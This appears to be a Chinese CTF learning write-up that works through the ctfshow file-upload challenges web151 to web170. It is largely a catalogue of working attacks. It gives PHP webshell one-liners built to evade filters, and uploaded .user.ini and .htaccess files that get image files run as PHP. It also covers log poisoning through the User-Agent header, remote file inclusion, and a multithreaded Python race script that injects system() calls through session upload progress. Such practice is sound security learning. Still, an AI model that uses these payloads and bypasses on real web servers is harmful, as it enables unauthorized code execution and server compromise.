Web系列-文件上传
做题思路
前端限制了上传文件的后缀,可以在前端修改代码或者bp抓包,再上传符合前端要求的文件类型,抓包后进行修改。
如果是php的环境,可以利用.user.ini
,是一个局部配置文件,可以通过配置选项使每个php文件头或文件尾都进行文件包含
.user.ini利用需要在此目录下还有php文件,.user.ini上传的文件和原有的php文件需要在同一目录下
auto_prepend_file=xxx 示在文件头包含
auto_append_file=xxx 表示在文件尾包含
检测文件内容,可以利用文件头绕过,ctfshow的检测统一用GIF绕过就行。
用htaccess来做。
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
传.htaccess
文件到目录,.htaccess
的内容如下:
AddType application/x-httpd-php .jpg
这意味着任何.jpg
文件将被当作PHP脚本来执行。
传入之后可以在url/upload/xxx.jpg页面拿到shell。
一种思路是用.user.ini进行日志包含,然后在访问的时候ua加上一句话,再上传一个php文件来进行包含。
.user.ini
auto_prepend_file=/var/log/nginx/access.log
访问修改ua
mumamuma<?=eval($_POST[xce])?>mumamuma
接着任意上传一个php,再去命令执行拿到flag
文件包含内容太多,可以用phpinfo()作为瞄点,来找内容
一些马:
#ban了php
<script language="PhP">
eval($_POST[cmd]);
</script>xce#短标签
<?=eval($_POST[cmd]);?>xce#ban了中括号用花括号绕过
<?=eval($_POST{xce});?>xce#ban了中括号和花括号,用array_pop绕过
<?=eval(array_pop($_POST))?>xce
post:1=system("ls");#直接利用`进行代码执行
<?=`ls`?>xce#日志包含
<?=include"/var/lo"."g/nginx/access.lo"."g"?>xce
#在访问的时候修改ua
<?=eval(array_pop($_POST))?>xce
在upload页面post:1=system("tac ../fla*");
web151
题目提示:前端校验不可靠
上传图片格式的一句话木马,用bp抓包后修改后缀为php,然后用蚁剑连接就行。
web152
题目提示:后端校验要严密
做法和上题一致。
web153
当我们访问url/upload之后提示:nothing here
也就是意味着,在upload文件夹下有一个index.php的文件在进行解析。
在这里先成功上传一张图片格式的一句话木马,接着上传.user.ini文件来进行文件包含。
.user.ini文件其实就是一个局部配置文件,可以通过配置选项使每个php文件头或文件尾都进行文件包含
.user.ini利用需要在此目录下还有php文件,.user.ini上传的文件和原有的php文件需要在同一目录下
auto_prepend_file=xxx 示在文件头包含
auto_append_file=xxx 表示在文件尾包含
抓包上传.user.ini,直接访问url/upload就会包含上传的图片格式的一句话木马并进行解析,拿到shell。
web154
直接上传图片格式的一句话木马,提示:文件内容不合规
上传的时候校验了我们上传的内容,检测了php,这里可以用短标签进行绕过。
脚本风格
<script language="php">
eval($_POST['cmd']);
</script>xce
默认开启,无法禁用
笔者曾遇到过一CTF题目,要求上传shell,但是却对文件内容做了过滤 <?
以及 php
,替换为了空格。此种风格中,language的值,大小写都可以,因此可以构造如下代码进行绕过
<script language="PhP">
eval($_POST[cmd]);
</script>xce
简短风格
<?=
eval($_POST[cmd]);
?>xce
此种风格需要在配置文件php.ini中启用short_open_tage选项
在这里将一句话木马写成这样:
<?=
eval($_POST[xce]);
?>111xce
上传图片格式的一句话木马之后还是用.user.ini进行包含,拿到shell。
web155
同样的操作,上传图片格式的一句话木马,用.user.ini进行文件包含,会检测是否含有php,用短标签即绕过。
web156
上传图片格式的时候,发现内容不合规,逐一测试发现把[给ban了。。
把方括号过滤了,我们可以用花括号绕过之后,用.user.ini进行文件包含去拿到shell。
<?=
eval($_POST{xce});
?>111xce
web157
把花括号给ban了,利用array_pop绕过,还ban了分号,这里可以将分号直接去掉。(假如有多行代码,分号被ban了也可以用,
绕过)
array_pop()
是 PHP 中用于从数组末尾弹出(移除)元素的函数。它不仅会移除数组中的最后一个元素,还会返回该元素的值。
<?php
$fruits = ["apple", "banana", "system(\"ls\");"];
$last_fruit = array_pop($fruits);
eval($last_fruit);
echo "弹出的水果是:$last_fruit\n"; // 输出:cherry
print_r($fruits); // 输出:Array ( [0] => apple [1] => banana )
?>输出:
run
script.php
弹出的水果是:system("ls");
Array
([0] => apple[1] => banana
)
再来看看post
<?=
var_dump($_POST),
?>当用post传入1=xce的时候:
返回
array(1) { [1]=> string(3) "xce" }
array(1) { [1]=> string(3) "xce" }
这个输出代表一个 PHP 数组,但与前一个例子略有不同。让我们分解一下这个输出:
array(1)
:这表示数组有 1 个元素。{
和}
:这些符号用于包围数组中的所有元素。[1]
:这是数组中元素的键。通常情况下,索引数组的键是从 0 开始的连续整数,但在这个例子中,第一个元素的键是 1。这可能是因为数组元素被非顺序地添加,或者某些元素已被删除。=>
:这个箭头符号用于分隔键和对应的值。string(3) "xce"
:这表示数组中元素的值是一个字符串,长度为 3,内容是 "xce"。
所以一句话木马我们可以写成,先用array_pop弹出最后一个数组内容,再eval执行,就可以实现不用花括号和中括号。
<?=
eval(array_pop($_POST))
?>111xce
post:1=system("ls");
接下来还是用.user.ini进行文件包含去拿到shell。
web158
用上一题的方法可以直接做出来。这题实际上是在上传内容ban了log字符。
web159
把括号给ban了,可以用`来做。
上传图片格式的一句话木马,用.user.ini进行文件包含
<?=
`ls`
?>111xce<?=
`tac ../fla*`
?>111xce
web160
ban了`,测试的时候发现把空格和log字符串给也给ban了,可以用日志包含来做
上传图片格式,图片用如下代码,将日志文件进行包含,用.user.ini进行文件包含
<?=
include"/var/lo"."g/nginx/access.lo"."g"
?>xce
在访问的时候修改ua
<?=eval(array_pop($_POST))?>111xce
在upload页面post:1=system("tac ../fla*");
web161
按照上题的套路,提示文件格式不合规,猜测有可能是检测了文件头。
用bp加入文件头
png文件头
89 50 4E 47 0D 0A 1A 0A
经测试,均不行。查看wp
上传的文件内容需要添加GIF
才能成功上传。
接下来就用web160的方法做就行,上传需要用在上传内容前面加GIF
绕过。
其实我觉得有一点点脑洞,前端限制png格式,后端校验GIF。。。其实后端也不是校验GIF
后端是用这行代码校验上传的文件是否是图片格式的getimagesize($_FILES["file"]["tmp_name"])
,不太会php,所以目前一知半解,先记住在文件内容前面加GIF
可以绕过这个check吧。
剩下的就是日志包含,然后访问修改ua写入一句话木马,拿shell了。
web162
经过测试发现把小数点给ban了,这题可以通远程包含来打。
ip转长地址的脚本:
def ip_to_long(ip_address):# 分割IP地址为四部分octets = ip_address.split('.')# 将每一部分转换为整数octet1 = int(octets[0])octet2 = int(octets[1])octet3 = int(octets[2])octet4 = int(octets[3])# 计算长地址long_address = (octet1 << 24) + (octet2 << 16) + (octet3 << 8) + octet4return long_address# 示例用法
ip_address = "49.233.7.188"
long_address = ip_to_long(ip_address)
print(f"IP地址 {ip_address} 的长地址是: {long_address}")
要修改
allow_url_fopen = On
allow_url_include = On
.user.ini修改为:
auto_prepend_file=http://xxxxxxxxx/
即使是这样,我任然没法成功,报错:
多方查询,目前得知要flask服务期才能成功包含,我也懒弄了。。。先搁着吧,这题还能用session文件包含。
以下内容完全复制粘贴自南神博客
在php5.4之后php.ini开始有几个默认选项
1.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = “upload_progress_”
4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
5.session.use_strict_mode=off第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
第三和第四个prefix+name将表示为session中的键名
第五个表示我们对Cookie中sessionID可控
简而言之,我们可以利用session.upload_progress
将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off
的关系,我们可以自定义sessionID
linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session
例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。 并产生一个键值,为prefix+name
的值,最后被写入sess_文件里
还有一个关键点就是session.upload_progress.cleanup
默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,写一个脚本来完成。
# 导入必要的库
import io # 提供用于处理各种流类型的类
import requests # 用于发送HTTP请求的库
import threading # 多线程支持# 目标URL
url = 'https://1a828b9c-dbc7-49a9-8b7f-8b453851c2d1.challenge.ctf.show/'# 定义一个函数用于向服务器写入数据
def write(session):# 构造恶意的POST数据,尝试上传包含PHP代码的文件data = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'}# 无限循环,直到被中断while True:# 创建一个BytesIO对象,模拟一个PNG文件f = io.BytesIO(b'GIF89a\ndotast')# 准备要上传的文件files = {'file': ('1.png', f, 'image/png')}# 使用session发送POST请求到特定的URL,并携带特定的cookieresponse = session.post(url+"upload.php", cookies={'PHPSESSID': 'muma'}, data=data, files=files)# 定义一个函数用于从服务器读取数据
def read(session):# 无限循环,直到找到特定字符串或被中断while True:# 发送GET请求获取上传的文件列表response = session.get(url+'upload')# 检查响应中是否包含'ctfshow'字符串if 'ctfshow' in response.text:# 如果找到了,打印响应文本并结束循环print(response.text)breakelse:# 否则,打印重试信息print('retry')# 主函数
if __name__ == '__main__':# 创建一个requests的会话对象session = requests.session()# 启动30个线程来执行write函数for i in range(30):threading.Thread(target=write, args=(session,)).start()# 启动30个线程来执行read函数for i in range(30):threading.Thread(target=read, args=(session,)).start()
自己未做出。。。
web166
让上传zip格式的,直接上传发现有一个下载功能,查看之后发现url是
https://4dee23cf-cf91-4fda-a069-92ed138e3613.challenge.ctf.show/upload/download.php?file=e47e77def86e271775010575b2d76519.zip
说明在upload文件夹下有一个download.php,这个有可能存在文件包含漏洞
所以只要直接上传zip的时候写入一句话就可以,接下来就是利用文件包含漏洞来getshell。
已经上传,点击下载文件的时候再抓个包,将方法改成post,就可以拿到shell。
附带一下download.php的源代码
<?php
error_reporting(0);
$file= $_GET['file'];
if(!isset($file)){die('文件不存在');
}if(preg_match('/log|flag|data|input|file|compress|phar|http|https|ftp/', $file)){die('文件不存在');
}if(check($file)){die('文件不存在!');
}else{include($file);header('Content-Type:application/x-zip-compressed');
}function check($str){$ret = FALSE;$arrayName = array('ftp','file','/','http','https','phar','tmp','php','data','compress');foreach ($arrayName as $key) {$ret = checkPro($key,$str);}return $ret;
}function checkPro($key,$str){$len = strlen($key);$mt = substr($str, 0,$len);return $len==$mt;
}
可以看到文件包含。
web167
这次check变了,只能上传jpg格式的图片,上传之后可以找到图片路径在url/upload/xxx.jpg
这次访问upload目录,下面没有php文件,意味着我们不能用.user.ini来进行文件包含。
这次用htaccess来做。
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
传.htaccess
文件到目录,.htaccess
的内容如下:
AddType application/x-httpd-php .jpg
这意味着任何.jpg
文件将被当作PHP脚本来执行。
传入之后可以在url/upload/xxx.jpg页面拿到shell。
web168
文件只能上传png格式,但是抓包可以改,甚至可以直接上传php文件。
上传时返回空,题目给了提示,基础免杀,应该是把一些内容给ban了。
<?=`ls`?>
用这种写法可以命令执行,
<?=`cat ../upload.php`?>
看看源码:
0) {$ret = array("code" => 2, "msg" => $_FILES["file"]["error"]);
} else {$filename = $_FILES["file"]["name"];$filesize = ($_FILES["file"]["size"] / 1024);if ($filesize > 1024) {$ret = array("code" => 1, "msg" => "文件超过1024KB");} else {if ($_FILES['file']['type'] == 'image/png') {$str = file_get_contents($_FILES["file"]["tmp_name"]);if (check($str) === 0) {move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);$ret = array("code" => 0, "msg" => $_FILES["file"]["name"]);}} else {$ret = array("code" => 2, "msg" => "文件类型不合规");}}
}function check($str) {return preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|include|require/i', $str);
}
echo json_encode($ret);
web169
题目提示高级免杀,用上面的方法不行了。
看了南神的博客,发现有一种思路是用.user.ini进行日志包含,然后在访问的时候ua加上一句话,再上传一个php文件来进行包含。
.user.ini
auto_prepend_file=/var/log/nginx/access.log
访问修改ua
mumamuma<?=eval($_POST[xce])?>mumamuma
接着任意上传一个php,再去命令执行拿到flag。
有一个小技巧,文件包含内容太多,可以用phpinfo()作为瞄点,来找内容。
web170
web169的方法可以通杀。
自己踩得坑
hackbar失效
有好几道题目,用蚁剑可以连接,但是用hackbar执行命令没反应。
原因是用蚁剑的时候,加载url的时候会自动加上/,所以。。。
最后一定要自己加一个斜杠,要不不能正确识别到目录。。。
随便说几句
web162、163可以用远程包含做,可以用session条件竞争做,两种方法我都没做出来。。。
web164、165好像是图片二次渲染,我也没做。。。
几乎都是看着wp做出来的,呜呜呜,我太菜了。。。